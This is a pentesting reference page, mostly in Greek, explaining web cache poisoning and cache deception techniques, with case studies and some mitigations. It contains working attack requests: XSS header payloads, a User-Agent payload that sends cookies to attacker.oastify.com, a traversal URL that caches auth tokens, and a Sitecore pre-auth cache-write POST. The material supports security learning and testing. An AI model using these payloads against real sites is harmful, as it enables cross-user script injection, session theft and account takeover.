Cache Poisoning and Cache Deception

Reading time: 18 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Η διαφορά

Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;

  • Στο web cache poisoning, ο επιτιθέμενος κάνει την εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στο cache, και αυτό το περιεχόμενο σερβίρεται από το cache σε άλλους χρήστες της εφαρμογής.
  • Στο web cache deception, ο επιτιθέμενος κάνει την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στο cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από το cache.

Cache Poisoning

Το cache poisoning στοχεύει στον χειρισμό του client-side cache ώστε να αναγκαστούν οι clients να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί, ή υπό τον έλεγχο του επιτιθέμενου. Το εύρος του αντίκτυπου εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο μόλυνσης του cache.

Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα:

  1. Εντοπισμός εισόδων που δεν συμπεριλαμβάνονται στο κλειδί: Πρόκειται για παραμέτρους που, αν και δεν απαιτούνται για την αποθήκευση ενός request στο cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο server. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειριστούν το cache.
  2. Εκμετάλλευση των εισόδων που δεν συμπεριλαμβάνονται στο κλειδί: Μετά τον εντοπισμό των εισόδων αυτών, το επόμενο βήμα είναι να βρεις πώς να κακομεταχειριστείς αυτές τις παραμέτρους για να τροποποιήσεις την απάντηση του server με τρόπο που ωφελεί τον επιτιθέμενο.
  3. Εξασφάλιση ότι η μολυσμένη απάντηση θα αποθηκευτεί στο cache: Το τελικό βήμα είναι να εξασφαλιστεί ότι η παραποιημένη απάντηση θα αποθηκευτεί στο cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης επισκέπτεται την επηρεασμένη σελίδα ενώ το cache είναι μολυσμένο θα λάβει την μολυσμένη απάντηση.

Ανακάλυψη: Έλεγχος HTTP headers

Συνήθως, όταν μια απάντηση έχει αποθηκευτεί στο cache θα υπάρχει ένα header που το δηλώνει, μπορείς να δεις σε ποια headers πρέπει να δώσεις προσοχή σε αυτό το άρθρο: HTTP Cache headers.

Ανακάλυψη: Αποθήκευση κωδικών σφάλματος στο cache

Αν νομίζεις ότι η απάντηση αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να στείλεις requests με ένα κακό header, που θα πρέπει να απαντηθεί με status code 400. Έπειτα δοκίμασε να προσπελάσεις το αίτημα κανονικά και αν η απάντηση είναι status code 400, ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμα και να εκτελέσεις DoS).

You can find more options in:

Cache Poisoning to DoS

Ωστόσο, σημείωσε ότι μερικές φορές αυτοί οι τύποι status codes δεν αποθηκεύονται στο cache, οπότε αυτό το τεστ ίσως να μην είναι αξιόπιστο.

Ανακάλυψη: Εντοπισμός και αξιολόγηση εισόδων που δεν συμπεριλαμβάνονται στο κλειδί

Μπορείς να χρησιμοποιήσεις το Param Miner για να brute-force παραμέτρους και headers που μπορεί να αλλάζουν την απάντηση της σελίδας. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header X-Forwarded-For για να υποδείξει στον client να φορτώσει το script από εκεί:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Προκαλέστε μια επιβλαβή απάντηση από τον back-end server

Αφού εντοπίσετε το parameter/header, ελέγξτε πώς φιλτράρεται και πού ανακλάται ή επηρεάζει την απόκριση από το header. Μπορείτε να το εκμεταλλευτείτε; (να εκτελέσετε XSS ή να φορτώσετε JS κώδικα που ελέγχετε; να πραγματοποιήσετε DoS;...)

Get the response cached

Μόλις έχετε εντοπίσει την σελίδα που μπορεί να εκμεταλλευτεί, ποιο parameter/header να χρησιμοποιήσετε και πώς να το εκμεταλλευτείτε, πρέπει να κάνετε την σελίδα να μπει στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλετε στην cache αυτό μπορεί να πάρει χρόνο — ίσως χρειαστεί να δοκιμάζετε για αρκετά δευτερόλεπτα.

Το header X-Cache στην απόκριση μπορεί να είναι πολύ χρήσιμο καθώς μπορεί να έχει την τιμή miss όταν το αίτημα δεν ήταν cached και την τιμή hit όταν είναι cached.
Το header Cache-Control είναι επίσης ενδιαφέρον για να ξέρετε αν ένας πόρος γίνεται cache και πότε θα γίνει ξανά: Cache-Control: public, max-age=1800

Ένα ακόμα ενδιαφέρον header είναι το Vary. Αυτό το header χρησιμοποιείται συχνά για να υποδείξει επιπλέον headers που θεωρούνται μέρος του cache key ακόμα και αν κανονικά δεν είναι keyed. Επομένως, αν ο επιτιθέμενος γνωρίζει το User-Agent του victim που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτόν τον συγκεκριμένο User-Agent.

Άλλο ένα header σχετικό με την cache είναι το Age. Ορίζει τα δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache.

Όταν κάνετε caching ένα request, να είστε προσεκτικοί με τα headers που χρησιμοποιείτε γιατί κάποια από αυτά μπορεί να χρησιμοποιηθούν αναπάντεχα ως keyed και ο victim θα χρειαστεί να χρησιμοποιήσει το ίδιο header. Πάντα test ένα Cache Poisoning με διαφορετικούς browsers για να ελέγξετε αν δουλεύει.

Παραδείγματα εκμετάλλευσης

Το πιο απλό παράδειγμα

Ένα header όπως το X-Forwarded-For ανακλάται στην απόκριση χωρίς φιλτράρισμα.
Μπορείτε να στείλετε ένα βασικό XSS payload και να poison the cache έτσι ώστε όλοι όσοι επισκέπτονται τη σελίδα να υποστούν XSS:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Σημειώστε ότι αυτό θα poison-άρει ένα request προς /en?region=uk και όχι προς /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning μέσω CDNs

In this writeup it's explained the following simple scenario:

  • Ο CDN θα αποθηκεύσει στην cache οτιδήποτε κάτω από /share/
  • Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το %2F..%2F, επομένως μπορεί να χρησιμοποιηθεί ως path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν στην cache όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το %2F..%2F, και θα απαντήσει με /api/auth/session, το οποίο περιέχει το auth token.

Τα Cookies μπορούν επίσης να ανακλαστούν στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλεύσετε ώστε να προκαλέσετε, για παράδειγμα, ένα XSS, θα μπορούσατε να εκμεταλλεύσετε το XSS σε πολλούς clients που φορτώνουν την κακόβουλη cache response.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα συνηθισμένα αιτήματα θα καθαρίζουν την cache.

Δημιουργία αποκλίσεων με διαχωριστές, κανονικοποίηση και τελείες

Δείτε:

Cache Poisoning via URL discrepancies

Cache poisoning με path traversal για κλοπή API key

This writeup explains πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 επειδή οτιδήποτε που ταιριάζει με /share/* θα γίνεται cached χωρίς το Cloudflare να κανονικοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server.

Αυτό εξηγείται επίσης καλύτερα στο:

Cache Poisoning via URL discrepancies

Χρήση πολλαπλών headers για εκμετάλλευση web cache poisoning vulnerabilities

Μερικές φορές θα χρειαστεί να exploit several unkeyed inputs για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε έναν Open redirect αν ορίσετε το X-Forwarded-Host σε ένα domain που ελέγχετε και το X-Forwarded-Scheme σε http. If ο server κάνει forwarding όλων των HTTP αιτημάτων to HTTPS και χρησιμοποιεί την κεφαλίδα X-Forwarded-Scheme ως το domain για το redirect, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω του redirect.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Εκμετάλλευση με περιορισμένο Varyheader

Αν διαπιστώσετε ότι το header X-Host χρησιμοποιείται ως όνομα domain για να φορτώσει ένα JS resource αλλά το header Vary στην απάντηση υποδεικνύει User-Agent, τότε πρέπει να βρείτε έναν τρόπο να exfiltrate το User-Agent του θύματος και να poison the cache χρησιμοποιώντας αυτόν τον user agent:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Στείλτε ένα GET request με το request στο URL και στο body. Αν ο web server χρησιμοποιεί την τιμή από το body αλλά ο cache server αποθηκεύει στην cache την τιμή από το URL, οποιοσδήποτε που έχει πρόσβαση σε εκείνο το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το body. Όπως το vuln που βρήκε ο James Kettle στο Github website:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There is a portswigger lab για αυτό: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Για παράδειγμα, είναι δυνατό να διαχωριστούν οι parameters σε ruby servers χρησιμοποιώντας τον χαρακτήρα ; αντί για &. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετηθούν τιμές μη-κλειδοποιημένων parameters μέσα σε κλειδωμένες παραμέτρους και να γίνει κατάχρηση.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Μάθετε εδώ πώς να πραγματοποιήσετε Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Ο Web Cache Vulnerability Scanner μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο.

Παράδειγμα χρήσης: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Αυτό το πραγματικό pattern συνδέει ένα header-based reflection primitive με τη συμπεριφορά του CDN/WAF για να poison αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:

  • Το κύριο HTML αντανάκλασε ένα μη-αξιόπιστο request header (π.χ., User-Agent) σε εκτελέσιμο context.
  • Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελείωναν σε static extensions (π.χ., .js), ενώ το WAF έκανε πιο χαλαρή content inspection σε GETs για static assets.
  • Ιδιαιτερότητες της ροής των requests επέτρεψαν ένα request σε .js path να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω header reflection.

Πρακτική συνταγή (παρατηρήθηκε σε ένα δημοφιλές CDN/WAF):

  1. Από ένα clean IP (αποφύγετε προηγούμενες reputation-based downgrades), ορίστε έναν malicious User-Agent μέσω του browser ή Burp Proxy Match & Replace.
  2. Στο Burp Repeater, προετοιμάστε μια ομάδα δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα):
  • First request: GET ένα .js resource path στο ίδιο origin ενώ στέλνετε τον malicious User-Agent.
  • Immediately after: GET την κύρια σελίδα (/).
  1. Ο αγώνας δρομολόγησης του CDN/WAF σε συνδυασμό με το auto-cached .js συχνά seeds ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες Vary διαστάσεις όπως το User-Agent).

Παράδειγμα header payload (για exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Λειτουργικές συμβουλές:

  • Πολλοί CDN αποκρύπτουν τις επικεφαλίδες cache· το poisoning μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλά vantage IPs και περιορίστε τον ρυθμό (throttle) για να αποφύγετε triggers όπως rate‑limit ή reputation.
  • Η χρήση ενός IP από το ίδιο cloud του CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
  • Αν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί αν η reflection εκτελείται στο κύριο HTML context και το CSP επιτρέπει inline εκτέλεση ή παρακάμπτεται ανάλογα με το context.

Επίπτωση:

  • Αν τα session cookies δεν είναι HttpOnly, είναι δυνατό ένα zero-click ATO με μαζική εξαγωγή του document.cookie από όλους τους χρήστες που σερβίρονται το poisoned HTML.

Αντιμετώπιση:

  • Σταματήστε να αντανακλάτε request headers στο HTML· αν δεν είναι δυνατόν, εφαρμόστε αυστηρό context‑encoding. Ευθυγραμμίστε τις cache policies του CDN και του origin και αποφύγετε το varying με βάση μη αξιόπιστα headers.
  • Βεβαιωθείτε ότι το WAF εφαρμόζει content inspection με συνέπεια σε .js requests και static paths.
  • Ορίστε HttpOnly (και Secure, SameSite) στα session cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Αυτό γράφει αυθαίρετο HTML κάτω από ένα attacker‑chosen cache key, επιτρέποντας ακριβές poisoning μόλις τα cache keys γίνουν γνωστά.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Ευπαθή Παραδείγματα

Apache Traffic Server (CVE-2021-27577)

Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το request /#/../?r=javascript:alert(1) στάλθηκε στο backend ως /#/../?r=javascript:alert(1) και το cache key δεν περιείχε το payload, μόνο host, path και query.

GitHub CP-DoS

Η αποστολή μίας κακής τιμής στο content-type header προκάλεσε μια cache-αρισμένη απάντηση 405. Το cache key περιείχε το cookie, οπότε ήταν δυνατόν να γίνει επίθεση μόνο σε unauth users.

GitLab + GCP CP-DoS

Το GitLab χρησιμοποιεί GCP buckets για την αποθήκευση static content. GCP Buckets υποστηρίζουν το header x-http-method-override. Έτσι ήταν δυνατό να σταλεί το header x-http-method-override: HEAD και να poison the cache ώστε να επιστρέψει κενό response body. Μπορούσε επίσης να υποστηρίξει τη μέθοδο PURGE.

Rack Middleware (Ruby on Rails)

Σε Ruby on Rails εφαρμογές, Rack middleware συχνά χρησιμοποιείται. Ο σκοπός του Rack code είναι να πάρει την τιμή του x-forwarded-scheme header και να την ορίσει ως scheme του request. Όταν σταλεί το header x-forwarded-scheme: http, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίζει το X-forwarded-host header και να κάνει redirect τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από τον server ενός attacker, θέτοντας κίνδυνο ασφαλείας.

403 and Storage Buckets

Η Cloudflare παλαιότερα cache-άριζε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκευόταν στην cache. Αν και η Cloudflare σταμάτησε να cache-άρει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να παραμένει σε άλλες proxy υπηρεσίες.

Injecting Keyed Parameters

Οι caches συχνά περιλαμβάνουν συγκεκριμένα GET parameters στο cache key. Για παράδειγμα, η Fastly's Varnish cached the size parameter in requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. siz%65) στάλθηκε επίσης με λανθασμένη τιμή, το cache key θα κατασκευαζόταν χρησιμοποιώντας τη σωστή size παράμετρο. Παρ' όλα αυτά, το backend θα επεξεργαζόταν την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης size παράμετρου οδηγούσε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Το να δοθεί τιμή 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.

User Agent Rules

Κάποιοι developers μπλοκάρουν requests με user-agents που αντιστοιχούν σε high-traffic tools όπως FFUF ή Nuclei για να διαχειριστούν το server load. Παραδόξως, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 καθορίζει τους αποδεκτούς χαρακτήρες στα header names. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου tchar εύρους θα έπρεπε ιδανικά να επιστρέφουν μια 400 Bad Request απάντηση. Στην πράξη, οι servers δεν ακολουθούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, αρκεί να μην υπάρχει το header cache-control. Εντοπίστηκε ένα εκμεταλλεύσιμο pattern όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως \, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.

Εύρεση νέων headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Ο στόχος του Cache Deception είναι να αναγκάσει τους clients να φορτώνουν resources που πρόκειται να αποθηκευτούν στην cache μαζί με τις ευαίσθητες πληροφορίες τους.

Πρώτα απ' όλα, σημειώστε ότι οι επεκτάσεις όπως .css, .js, .png κ.λπ. συνήθως ρυθμίζονται ώστε να αποθηκεύονται στην cache. Επομένως, αν προσπελάσετε www.example.com/profile.php/nonexistent.js η cache πιθανότατα θα αποθηκεύσει την απόκριση επειδή βλέπει την .js επέκταση. Όμως, αν η εφαρμογή απαντάει με τα ευαίσθητα περιεχόμενα χρήστη που είναι αποθηκευμένα στο www.example.com/profile.php, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.

Άλλα πράγματα για δοκιμή:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μία μη-υπάρχουσα σελίδα όπως http://www.example.com/home.php/non-existent.css το περιεχόμενο του http://www.example.com/home.php (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.
Στη συνέχεια, ο attacker μπορεί να προσπελάσει http://www.example.com/home.php/non-existent.css στον δικό του browser και να παρατηρήσει τις εμπιστευτικές πληροφορίες των χρηστών που είχαν πρόσβαση νωρίτερα.

Σημειώστε ότι ο cache proxy θα πρέπει να είναι ρυθμισμένος να caches αρχεία βασιζόμενος στην επέκταση του αρχείου (.css) και όχι με βάση το content-type. Στο παράδειγμα http://www.example.com/home.php/non-existent.css το content-type θα είναι text/html αντί για text/css mime type.

Μάθετε εδώ πώς να πραγματοποιήσετε Cache Deceptions attacks abusing HTTP Request Smuggling.

Αυτόματα Εργαλεία

  • toxicache: Golang scanner για την εύρεση web cache poisoning vulnerabilities σε λίστες URLs και για δοκιμή πολλαπλών injection techniques.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks